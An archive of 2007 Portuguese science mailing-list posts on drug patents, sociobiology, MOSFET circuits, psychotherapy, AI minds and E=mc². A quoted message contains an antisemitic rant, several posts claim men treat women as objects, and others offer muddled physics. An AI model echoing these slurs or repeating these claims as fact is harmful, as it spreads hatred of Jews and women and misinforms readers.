Pra quem entende de geopolítica...

O Oriente Médio tem sido um barril de pólvora, entre outras coisas,
por conta dos barris de petróleo q jorram de suas jazidas.

A América Latina sempre foi relegada a um plano secundário (pelo menos
desde a descolonização nos idos de 1800 e tantos).

Mas com a questão do chavismo sustentado no petróleo venezuelano, o
moralesianismo no gás boliviano e agora a questão do álcool
combustível brasileiro... q bicho vai dar nestas paragens?

[]s,

Roberto Takata






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.467 / Virus Database: 269.6.2/784 - Release Date: 1/5/2007 14:57


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Hidrodinâmica
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 13:44

---------- Forwarded message ----------

Interessante página do pesquisador José Bico com vídeos de seus
experimentos em hidrodinâmica interfacial, molhagem e não-molhagem,
fluidos complexos, mecânica física e matéria mole:

http://www.pmmh.espci.fr/~jbico/Research_pt.html


SUBJECT: Re: [ciencialist] Re: Quebra de patente de droga anti-aids
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/05/2007 15:17

O LAFEPE, Pernambuco, produzirá a droga. Agora todos vocês podem pegar um pouco de aids, sem problemas. Cura à vista e a preço de banana.

Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, May 04, 2007 11:57 PM
Subject: [ciencialist] Re: Quebra de patente de droga anti-aids


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Além disso, a aprovação da lei não significa q o país irá quebrar
> as patentes - o caminho principal deve ser a da negociação de preços
> com as empresas detentoras.

Opa, eles foram mais rápido do q imaginei:

Lula quebra patente de remédio anti-Aids
http://g1.globo.com/Noticias/Ciencia/0,,MUL31234-5603,00.html

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 15:43

Salve, Silvio.

> Engels, no " História da Familia, da Propriedade Privada e do
Estado" e também nosso queridíssimo Darci Ribeiro expõem essa
teoria, com perfeita explicação palenteológica pelo primeiro e cujo
"fundamento básico é que as mulheres dirigiam os grupos em função da
reprodução"

"as mulheres dirigiam os grupos em função da reprodução"? O que você
quer dizer com isso? Que elas detinham o poder político das
sociedades? E como fica a questão da reprodução nesse esquema? Não
entendi.

Até onde eu sei, a maior parte dos antropólogos sérios não sustentam
teorias de uma ginecocracia primordial. Isso foi em grande parte uma
criação de antropólogas feministas. É muito difícil obter quaisquer
dados sobre a estrutura social dos humanos pré-históricos. Podemos,
no entanto, pegar os grupos primitivos de hoje, que, a princípio, não
diferiam muito dos humanos que andavam pela Terra 30 mil anos atrás.
Até onde eu sei, não existe uma única cultura conhecida na qual as
mulheres detenham o poder, com exceção da nossa grande civilização
moderna. É um fenômeno significativo, e em geral as pessoas não se
dão conta da grandiosidade do que está acontecendo. Pela primeira vez
em toda a existência humana (uns 200 ou 300 mil anos), a mulher não
apenas está livre, como também domina o homem. Eu fico em dúvida
entre este fenômeno e a revolução neolítica como a transformação mais
radical por que passou a nossa espécie.

> Parece-me que tem um estudo sobre as tribos de índios americanos do
norte, sobre matriarcado

As vezes se confunde matriarcado com matrilinear. Em sociedades
matrilineares a linhagem e a herança são passadas pela linha materna.
As mulheres podem até ser mais influentes nessas sociedades, mas a
autoridade é exercida pelo irmão da mãe.

Saudações.
João de Carvalho




SUBJECT: Chaveamento com MOSFET IRFZ44N
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 15:47

Olá a todos.

Estou trabalhando na conversão de um alternador para funcionar como
motor. A idéia é usar componentes eletrônicos comuns, baratos e de
fácil manuseio.

Já consegui fazer o inversor sem usar os famosos PICs, o problema é
que 3 dos 6 mosfets estão esquentando.

Os 3 mosfets que estão com o source diretamente no terra e a carga
(bobinas do alternador) no dreno não aquecem, já os 3 que estão com o
dreno diretamente no positivo e com a carga no source estão aquecendo.

Ainda não desenhei o circuito, por isso não posso postar aqui ainda,
mas alguém poderia fornecer alguma dica sobre como evitar este
aquecimento?

Obrigado.

Tipoalgo



SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 15:48

Olá, Takata.

> > Só se eles entrarem no harém de um macho dominante enquanto ele
está
> > dormindo ou caçando, e acasalar com suas mulheres.
>
> Primeiro, isso ocorre com freqüência não apenas em outros primatas
com
> estruturação social hierárquica - a fêmea volta e meia dá uma
> escapadela -, mas o grau de traição por parte da fêmea humana não é
> nem um pouco desprezível. Analisemos do ponto de vista estritamente
> biológico (q, claro, não é o único fator - e nem necessariamente o
> preponderante): vc admite q não há genes q condicionem por si mm uma
> hierarquia, ok. Do ponto de vista da fêmea - usando de linguagem
> finalista - é interessante q sua prole seja dotada de bons genes.
Bons
> genes não estarão ligados necessariamente à hierarquia humana
> (sobretudo com a tendência endogâmica da alta corte) - aventureiros
de
> camadas mais baixas podem se mostrar como excelentes fontes de
genes q
> confiram resistência a doenças, capacidade de procriação, etc. (O q
> fica relativamente próximo do q vc delineou abaixo.)

Na verdade, o que importa mesmo é que o indivíduo seja reconhecido
pela sociedade como filho de um homem de alta hierarquia, seja ele o
verdadeiro pai ou não. Neste caso, seria interessante que o amante
bonito e sedutor (características que parecem ser indicadores de bons
genes), ao acasalar com uma mulher de um macho dominante, procurasse
enviar espermatozóides Y para fecundá-la. É a estratégia perfeita.
Mesmo sendo de baixa hierarquia ele gera um filho de alta hierarquia,
não precisa investir recursos e não tem trabalho nenhum com a
criança. Vale observar que a situação na qual um jovem de baixa
hierarquia se apaixona pela mulher do rei ou de qualquer outro macho
dominante (um chefão da máfia, por exemplo), é recorrente em inúmeras
histórias, e provavelmente é a base do complexo de Édipo da
psicanálise.

Sobre "a tendência endogâmica da alta corte", lembre-se que o
paradigma aqui é o do ambiente ancestral.

> > Isto porque, se os homens de mais alta hierarquia têm várias
> > mulheres, não vão sobrar muitas para os de baixa.

> Só se ou houver muitos homens de alta hierarquia ou cada homem de
alta
> hierarquia conseguir um harém de dezenas a centenas de concubinas.

Quando o novo macho chega ao mundo, ele encontra uma situação que foi
moldada pelas gerações mais velhas. Vamos supor que nós somos velhos
machos. Para não sairmos no tapa, nós elaboramos regras de troca de
mulheres que dizem quem vai casar com quem. Você acha que nós iríamos
considerar os garotos que estão acabando de chegar ao mundo, cheios
de testosterona, e repartir as mulheres com eles? É provável que não.
Nós dizemos para os jovens: A regra (que foi forjada no início da
criação) é que você vai casar com a filha da mulher tal, que tem
naquele momento uns 16 anos de idade. Isto é, o jovem vai ter que
esperar essa menina ter uma filha, que essa filha cresça durante uns
15 anos, para finalmente ter sua primeira mulher. A essas alturas ele
já será um velho macho e terá todo o interesse em manter a regra,
para afastar da competição sexual os novos machos que estarão
chegando.

> Não se descarta q houvesse sobra de mulheres ao longo da evolução
humana

Isso é algo muito improvável. No ambiente ancestral, a mulher
provavelmente era o bem mais precioso que um homem poderia ter. A
troca de mulheres entre famílias é um dos principais elementos na
formação dos laços sociais. Se o sujeito tem uma filha, ele não vai
deixar ela andando solta por aí. Ele vai trocá-la por outra mulher,
de outra família. Ele pode até mesmo trocá-la por coisas. Existe a
teoria de que o sentimento de posse surgiu para ser aplicado às
fêmeas, e apenas depois ele foi aplicado a objetos. Para os homens,
as mulheres são objetos. Muito valiosos. Você não deixa um objeto
desses andando livre por aí.

> Note-se ainda q a razão sexual 1 para 1 se refere à razão sexual ao
> nascer - não necessariamente está ligado à razão sexual final no
> estágio adulto. Em tempos primitivos - e mm hoje - homens estão mais
> expostos a mortes violentas (guerras, luta contra predadores,
> acidentes, etc). Não se descarta q houvesse sobra de mulheres ao
longo
> da evolução humana (como de certo modo há no mundo moderno).

Realmente os homens morrem mais (especialmente os jovens). Mas lembre-
se que a regra geral do casamento é a poligamia. Se cada velho macho
tivesse duas ou três mulheres poderia haver escassez de mulheres para
os jovens, mesmo que houvesse mais mulheres.

> > Takata, você está dizendo que, em termos evolutivos, é melhor ter
> > uma prole pequena?
>
> Dependendo da biologia do organismo sim.

É um fato que os homens procuram fazer sexo com um numero de
parceiras muito mais elevado que as mulheres. Isso sugere que a
estratégia r seja adotada por eles pelo menos em algumas situações.
Como eu coloquei, é muito improvável que existissem muitas mulheres
livres no ambiente ancestral para que a estratégia r fosse aplicada.
Em alguns casos a garota já tinha seu casamento arranjado mesmo antes
de nascer. Mas a estratégia r poderia ser muito eficiente se
direcionada para as esposas dos outros homens, e o amante ainda tinha
a garantia de que esta sua prole clandestina receberia recursos do
suposto pai. Isso não impede que, com sua esposa, ele empregue a
estratégia K. Ele pode usar as duas.

Saudações.
João de Carvalho






SUBJECT: Psicoterapia
FROM: Michel Moccelin Viccari <michelm.viccari@yahoo.com.br>
TO: ciência list <ciencialist@yahoogrupos.com.br>
DATE: 05/05/2007 16:33

Olá Pessoal!
Pessoal alguém sabe me responder alguns aspectos perceptíveis de quanto o terapeuta enrola o paciente só pra tê-lo como fonte de renda?
Abraço

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Psicoterapia
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/05/2007 17:48

Michel:

Sou filho de médico, já falecido, e era muito comum dois métodos para tosquia de pacientes aliás 3: o primeiro e prolongar o tratamento de casos terminais, fazwendo consultas constantes; o segundo é a famosa conferência médica onde o médico chama dois ou três colegas, muito bem pagos para com a família fazer uma profunda análise da doença (normalmente mortal) e o terceiro é encaminhar para dezenas de exames, os mais sofisticados pois ganham comissões das clínicas e laboratórios. São procedimentos feitos por pequeno, minoritário número de médidos, normalmente figurões quie atentem ricaços: na clínica do dia-a-dia, o povo não tem dinheiro nem pra fila do SUS onde o lugar custa 20 reais.....E quero registrar que meu pai jamais praticou esses artifícios pois tinha demasiado orgulho da profissão, da honra, do nome: morreu como simples perito do INSS sem deixar haveres....

boa noite,

silvio.
----- Original Message -----
From: Michel Moccelin Viccari
To: ciência list
Sent: Saturday, May 05, 2007 4:33 PM
Subject: [ciencialist] Psicoterapia


Olá Pessoal!
Pessoal alguém sabe me responder alguns aspectos perceptíveis de quanto o terapeuta enrola o paciente só pra tê-lo como fonte de renda?
Abraço

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SUBJECT: Re: [ciencialist] Re: Quebra de patente de droga anti-aids
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/05/2007 18:33

Gil:

Faço minha, sua pergunta.
O MS comprar remédios na Índia é um lícito ato de comércio. Se há problema de patente é com o laboratório indiano.
Retaliações do laboratório até, como se vê no comércio mundial, podem ocorrer, pas são chuvas de verão.

bos noite,

silvio.
----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, May 05, 2007 11:01 AM
Subject: Re: [ciencialist] Re: Quebra de patente de droga anti-aids


Não entendi a relação entre a quebra de patente e a compra do remédio
feito pelo laboratório indiano... traduzindo do juridiquês, o que isso
significa? Ele quebrou por comprar do laboratorio indiano?

Gil
Em 04/05/07, rmtakata<roberto.takata@bol.com.br> escreveu:
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> > Além disso, a aprovação da lei não significa q o país irá quebrar
> > as patentes - o caminho principal deve ser a da negociação de preços
> > com as empresas detentoras.
>
> Opa, eles foram mais rápido do q imaginei:
>
> Lula quebra patente de remédio anti-Aids
> http://g1.globo.com/Noticias/Ciencia/0,,MUL31234-5603,00.html
>
> []s,
>
> Roberto Takata
>
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SUBJECT: INTELIGÊNCIA ARTIFICIAL - HOMERO E EUNUCO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/05/2007 19:33

Mestre Takata:

Pe�o seu abalizado parecer nesta quest�o.

sds.,

silvio.
----- Original Message -----
From: Pesky Bee
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 5:36 PM
Subject: Re: RES: [Acropolis_] INTELIG�NCIA ARTIFICIAL - HOMERO E EUNUCO



Putz, constantor, come�ou dizendo que concorda mas logo
em seguida discorda. A quest�o � encarar os neur�nios
biol�gicos como processos f�sicos que manipulam informa��o.
Sob esse aspecto, neur�nios ou trans�stores, n�o importa,
s�o processos f�sicos processando informa��o. E pode ser
que voc� reclame de eu ser um reducionista do caralho,
mas afetividade, intui��o e imagina��o podem ser reduzidos,
em �ltima inst�ncia, � atividade neural. Hoje n�o sabemos
em detalhes como isso opera, mas sabemos que n�o parece
haver nada "al�m de neur�nios" no pensamento e sentimento
humanos (e quem estuda neuroci�ncia sabe disso desde o
primeiro momento). Vem da� a id�ia de que rob�s suficientemente
sofisticados poder�o ter estados mentais, afetividade e
imagina��o, mesmo n�o sendo biol�gicos.

*PB*


----- Original Message -----
From: constantor
To: Acropolis_@yahoogrupos.com.br
Sent: Friday, May 04, 2007 3:17 PM
Subject: Re: RES: [Acropolis_] INTELIG�NCIA ARTIFICIAL - HOMERO E EUNUCO


concordo, caro.

mas isto n�o retira o car�ter de simula��o que est� envolvido na
intelig�ncia artificial. Sempre ser� uma m�quinha que reproduz, por
meio de mecanismos, uma realidade que existe enquanto tal somente no
homem.

E a pr�pria id�ia de reduzir � intelig�ncia humana a uma mera
calculadora demonstra isto. Vamos dizer que o homem seja apenas esta
din�mica enloquecida empreendida pelos neur�nios. Esta din�mica gera
coisas em n�s, que uma calculadora gigante n�o reproduz. Como eu
estava falando com o John, a racionalidade humana n�o e�despida dos
elementos de afetividade, intui��o, imagina��o, e v�rios estados de
consciencia que s� n�s vivenciamos. M�quinhas fazem c�lculos somente.

--- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@...>
escreveu
>
> E o c�rebro biol�gico estar� meramente fazendo um bando
> de neur�nios dispararem loucamente. Basta usarmos um
> n�vel de an�lise diferente para m�quinas e c�rebros
> serem muito dissimilares. Agora, se nos fixarmos em um
> mesmo n�vel (e falarmos em, por exemplo, "estados mentais",
> representa��o de informa��o, conceitua��o, heur�stica, etc.)
> podemos melhor compar�-los. Intelig�ncia artificial s� pode
> ser entendida se houver compara��o no mesmo n�vel de
> an�lise. Capiche?
>
> *PB*
>
>
>
> ----- Original Message -----
> From: constantor
> To: Acropolis_@yahoogrupos.com.br
> Sent: Friday, May 04, 2007 2:16 PM
> Subject: Re: RES: [Acropolis_] INTELIG�NCIA ARTIFICIAL - HOMERO
E EUNUCO
>
>
> Olha o salto Pesky.
>
> O computador estar� fazendo c�lculos matem�ticos.
>
> Ponto.
>
> --- Em Acropolis_@yahoogrupos.com.br, "Pesky Bee" <peskybee2@>
> escreveu
> >
> > Essa quest�o de imitar ou n�o � mais complexa do que isso.
> > Um rob� mec�nico como o Asimo pode ser dito como "imitando"
> > o andar humano. Mas uma calculadora que multiplique 2 * 2
> > n�o estar� imitando uma computa��o que fazemos mentalmente:
> > estar� *fazendo* essa computa��o (com heur�stica diferente,
> > mas estar�). A diferen�a fundamental � que um furac�o pode
> > ser simulado em um computador (e a simula��o pode "destelhar"
> > casas virtuais; obviamente ningu�m confundiria isso com a
> > realidade), mas um rob� que pensa n�o estar� "imitando" nosso
> > pensar: ele estar� realmente pensando.
> >
> > *PB*
> >
> >
> >
> > ----- Original Message -----
> > From: constantor
> > To: Acropolis_@yahoogrupos.com.br
> > Sent: Thursday, May 03, 2007 10:12 PM
> > Subject: Re: RES: [Acropolis_] INTELIG�NCIA ARTIFICIAL -
HOMERO
> E EUNUCO
> >
> >
> > Animais na� imitam, possuem o atributo vida. Alguns animais
> imitam
> > atributos que n�o possuem, como o papagaio. M�quinas tamb�m
> podem
> > imitar o racioc�nio l�gico matem�tico, mas a subjetividade n�o
> se
> > reduz a isto.
> >
> > --- Em Acropolis_@yahoogrupos.com.br, "John C"
> > <johnconstantine2@> escreveu
> > >
> > > Ol�
> > >
> > >
> > >
> > > Um dos atributos da pessoa humana � a vida. Animais imitam a
> vida?
> > >
> > >
> > >
> > > Qual a diferen�a entre possuir um atributo e imita-lo? Tal
> coisa �
> > poss�vel?
> > > Posso imitar o Superman voando?
> > >
> > >
> > >
> > > _____
> > >
> > > De: Acropolis_@yahoogrupos.com.br
> > [mailto:Acropolis_@yahoogrupos.com.br] Em
> > > nome de constantor
> > > Enviada em: quinta-feira, 3 de maio de 2007 16:25
> > > Para: Acropolis_@yahoogrupos.com.br
> > > Assunto: Re: RES: RES: [Acropolis_] INTELIG�NCIA ARTIFICIAL -

> > HOMERO E
> > > EUNUCO
> > >
> > >
> > >
> > > Porque, dado que n�o s�o pessoas, eles n�o possuem estes
> > atributos,
> > > apenas os imitam.
> > >
> > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br, "John C"
> > > <johnconstantine2@> escreveu
> > > >
> > > > Ol�
> > > >
> > > >
> > > >
> > > > E que direitos possu�mos enquanto pessoas que n�o
possu�mos
> > > enquanto
> > > > animais? E por que?
> > > >
> > > >
> > > >
> > > > Suponhamos quem sejamos pessoas por possuir os atributos
X,
> Y e
> > Z.
> > > Se para
> > > > cada atributo possu�mos uma dada classe de direitos, por
que
> > seres
> > > outros
> > > > que possuam um desses atributos n�o podem ter a mesma
classe
> de
> > > direitos?
> > > > Que atributo humano nos d� o direito ao voto, por exemplo?
> Se
> > uma
> > > m�quina
> > > > tiver esse atributo, ela n�o poderia votar?
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > >
> > > > _____
> > > >
> > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> 40yahoogrupos.com.br>
> > > pos.com.br
> > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br] Em
> > > > nome de constantor
> > > > Enviada em: quinta-feira, 3 de maio de 2007 15:50
> > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > pos.com.br
> > > > Assunto: Re: RES: [Acropolis_] INTELIG�NCIA ARTIFICIAL -
> HOMERO
> > E
> > > EUNUCO
> > > >
> > > >
> > > >
> > > > Se n�o s�o pessoas, n�o h� porque dar a elas direitos que
> > > possu�mos
> > > > enquanto pessoas. Alguma prote��o jur�dica elas v�o ter.
Mas
> a�,
> > > at�
> > > > nossos animais dom�sticos t�m.
> > > >
> > > > --- Em Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br, "John C"
> > > > <johnconstantine2@> escreveu
> > > > >
> > > > > Ol�
> > > > >
> > > > >
> > > > >
> > > > > Sim, isso � certo e me parece indiscut�vel: m�quinas n�o
> s�o e
> > > n�o
> > > > ser�o
> > > > > pessoas. A quest�o � por que somente as pessoas humanas
> devem
> > > ter
> > > > certos
> > > > > direitos? Burros n�o s�o pessoas e nem por isto
> consideramos
> > > certo
> > > > jog�-los
> > > > > num tanque de �cido. Por que direitos n�o poderiam ser
> dados a
> > > > m�quinas que,
> > > > > vistas de fora, possuam consci�ncia? (ou ajam tal qual,
o
> que
> > d�
> > > > na mesma,
> > > > > j� que n�o podemos dizer que nosso vizinho possui
> consci�ncia
> > > > tamb�m)
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > Se uma m�quina for capaz de escolher, por que n�o puni-
la
> por
> > > uma
> > > > dada
> > > > > atitude?
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _____
> > > > >
> > > > > De: Acropolis_@yahoogru <mailto:Acropolis_%
> > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > [mailto:Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br] Em
> > > > > nome de constantor
> > > > > Enviada em: quarta-feira, 2 de maio de 2007 17:40
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Assunto: Re: [Acropolis_] INTELIG�NCIA ARTIFICIAL -
HOMERO
> E
> > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > � t�o �bvia a m� f� do Eurico e t�o intensa sua solid�o
em
> > > rela��o
> > > > aos seus
> > > > > pares, que ele tem de distorcer conscientemente as
> afirma��es
> > > dos
> > > > outros a
> > > > > fim de poder considerar as m�quinas dentre as quais vive
> como
> > > seres
> > > > > iguaizinhos a ele.
> > > > >
> > > > >
> > > > >
> > > > > Ningu�m disse que n�o h� pesquisa, experimentos e
esfor�os
> > rumo a
> > > > > Intelig�ncia Artificial. O que se est� afirmando � que
> esta,
> > > mesmo
> > > > que um
> > > > > dia venha a ser constru�da, n�o � uma pessoa.
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > ----- Original Message -----
> > > > >
> > > > > From: Eurico <mailto:caodejah@> Ferreira de Souza Jr.
> > > > >
> > > > > To: Acropolis_@yahoogru <mailto:Acropolis_@yahoogru
> > > > <mailto:Acropolis_%40yahoogrupos.com.br> pos.com.br>
> > > > pos.com.br
> > > > >
> > > > > Sent: Wednesday, May 02, 2007 8:23 AM
> > > > >
> > > > > Subject: Res: [Acropolis_] INTELIG�NCIA ARTIFICIAL -
> HOMERO E
> > > > EUNUCO
> > > > >
> > > > >
> > > > >
> > > > > [E]> � t�o �bvia a m�-f� do troll judeu, atacando
> > exaustivamente
> > > > > quem zela pela racionalidade e coer�ncia filos�fica que
d�
> d�.
> > > > > Uns terroristas safados que n�o querem permitir o
trabalho
> > > > filos�fico
> > > > > aos gentios e ficam enchendo a lista de merda religiosa.
> > > > > Pra eles o importante � tumultuar e evitar o
> esclarecimento,
> > > > > nem que, pra isso, tenham que cair no mais completo
> rid�culo
> > > > indecente.
> > > > > Um d� carteirada de judeu, mas se lembramos esse fato,
fica
> > > > > ofendido, o outro se converteu ao cristianismo pra n�o
dar
> t�o
> > > na
> > > > cara.
> > > > > Querem que sejamos crist�os sem pensamento critico,
> > > > > trabalhadores bra�ais sem ci�ncia e tecnologia, patriotas
> > > > > sem consci�ncia pol�tica, usu�rios de windows, desunidos
> > > > > e desorientados porque o papai do c�u escolheu um povo
> > > > > e prometeu a terra (junto com os n�o escolhidos) pra
eles.
> > > > >
> > > > > Intelig�ncia Artificial n�o � fic��o cient�fica: vou ter
> essa
> > > > mat�ria
> > > > > no ano que vem! (a keyword pra quem quer saber mais �
> prolog)
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1024>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1024
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1034>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1034
> > > > >
> > > > > http://naeg.
> > > > > <http://naeg. <http://naeg.
> > > <http://naeg.prg.usp.br/relatorio/disciplina.phtml?>
> > > prg.usp.br/relatorio/disciplina.phtml?
> > > >
> > > > prg.usp.br/relatorio/disciplina.phtml?
> > > > id_disciplina=IBM1040>
> > > > > prg.usp.br/relatorio/disciplina.phtml?
id_disciplina=IBM1040
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > >
> > > > > _\|/_
> > > > >
> > > > >
> > > > >
> > > > > ----- Mensagem original ----
> > > > > De: Victor Molina -BR <victormolinabr@>
> > > > > Para: Acropolis_@yahoogru <mailto:Acropolis_%
> > > 40yahoogrupos.com.br>
> > > > pos.com.br
> > > > > Enviadas: Quarta-feira, 2 de Maio de 2007 1:06:10
> > > > > Assunto: [Acropolis_] INTELIG�NCIA ARTIFICIAL - HOMERO E
> EUNUCO
> > > > >
> > > > > � t�o �bvia, mas t�o �bvia a raz�o de porque o Homero e
o
> > Eunuco
> > > > s�o
> > > > > entusiastas da intelig�ncia artificial, que acabamos n�o
> nos
> > > dando
> > > > conta,
> > > > > ora. � simples: a intelig�ncia artificial � a �nica
> esperan�a
> > > dos
> > > > dois de
> > > > > adquirirem algum tipo de intelig�ncia. :-)
> > > > >
> > > > >
> > > > >
> > > > > __.
> > > > >
> > > > >
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[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Quebra de patente de droga anti-aids
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 20:40

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Não entendi a relação entre a quebra de patente e a compra do
> remédio feito pelo laboratório indiano... traduzindo do juridiquês,
> o que isso significa? Ele quebrou por comprar do laboratorio
> indiano?

Assim, em condições normais, o governo brasileiro não poderia - dentro
da norma jurídica - comprar o medicamento do laboratório indiano: essa
produção não é autorizada pela detentora da patente. Seria o
equivalente ao governo comprar produtos piratas.

Dado o embasamento legal, o governo, mostrando q se trata de uma
situação justa (prevista em lei), pode comprar - dentro da lei - o
medicamento do laboratório indiano a despeito de ser uma produção não
autorizada pela detentora da patente.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 20:43

Olá Takata!

Takata >>> C2 Não poderia representar a taxa de
deformação porque m2 não é unidade de deformação (só
em casos muito específicos). Mas existe sim medidas de
unidade de deformação.

--- Vc saberia me dizer qual é? Poderia falar a
respeito.

Takata >>> O q vc disse é q E = m.c2 mostra q a
energia é matéria em movimento.

--- Não! Creio que não! Vou dizer de novo pra ficar
claro: energia é o que anima a matéria, é o que faz a
matéria pulsar. Energia e materia são coisas distintas
(na teoria), embora na prática, são inseparaveis como
liquedo e molhado. Energia é o que faz a matéria
pulsar. Matéria é o que é pulsado pela energia. Numa
medição (na prática), estão sempre juntas. O tempo
também está sempre junto na medição. Ai é a parte do
C2 que estou tentando entender.

Takata >>> A energia da fórmula NÃO está associada a
qq tipo de vibração da massa.

--- Minha visão é que pela energia estar associada a
velocidade da luz (m.c2), é pela luz ser uma onda,
então a equação está sim tratando da relação entre o
pulsar da massa (matéria) e a energia.

--- O que vc acha? E porque?


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: As Regras do Jogo ::: (artigo) - sobre o ego
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 20:55

Olá Takata!

Takata >>> Há toda a uma base preestabelecida no
cérebro humano desde antes do nascimento. Um cérebro
humano não nasce como uma tábula rasa.

--- Concordo. Mas este artigo não trata desta base,
tem outros que tratatam, falam sobre a base sensorial,
por exemplo. Este artigo trata das regras que são
construidas sobre esta base que vc cita.

sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: O Dia que a Matéria entrou pelo Cano ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 21:01

Olá Takata!

Takata >>> Dos pulsos elétricos para vibração da
matéria vai um longo salto.

--- Creio que não. Mas porque vc diz isto?

Takata >>> Não, os elétrons não estão pulsando.

--- Numa corrente elétrica, os eletrons não estão
pulsando? Como é o comportamento de uma corrente
elétrica então?

Takata >>> E eles podem se deslocar.

--- Pelo fio? Feito gotas dágua?

Takata >>> Apenas q não é o deslocamento dos elétrons
de uma extremidade a outra do fio q está conduzindo os
sinais elétricos.

--- Sim, e o que é? Impulsos?



sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Psicoterapia
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/05/2007 21:14

Silvio, ele está falando em psicoterapia, e nesse caso, a pessoa deve entender a linha do terapeuta que escolheu.
Que eu saiba, freudiana demora anos.

Silvio Cordeiro <scordeiroes@superig.com.br> escreveu: Michel:

Sou filho de médico, já falecido, e era muito comum dois métodos para tosquia de pacientes aliás 3: o primeiro e prolongar o tratamento de casos terminais, fazwendo consultas constantes; o segundo é a famosa conferência médica onde o médico chama dois ou três colegas, muito bem pagos para com a família fazer uma profunda análise da doença (normalmente mortal) e o terceiro é encaminhar para dezenas de exames, os mais sofisticados pois ganham comissões das clínicas e laboratórios. São procedimentos feitos por pequeno, minoritário número de médidos, normalmente figurões quie atentem ricaços: na clínica do dia-a-dia, o povo não tem dinheiro nem pra fila do SUS onde o lugar custa 20 reais.....E quero registrar que meu pai jamais praticou esses artifícios pois tinha demasiado orgulho da profissão, da honra, do nome: morreu como simples perito do INSS sem deixar haveres....

boa noite,

silvio.
----- Original Message -----
From: Michel Moccelin Viccari
To: ciência list
Sent: Saturday, May 05, 2007 4:33 PM
Subject: [ciencialist] Psicoterapia

Olá Pessoal!
Pessoal alguém sabe me responder alguns aspectos perceptíveis de quanto o terapeuta enrola o paciente só pra tê-lo como fonte de renda?
Abraço

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Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

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SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
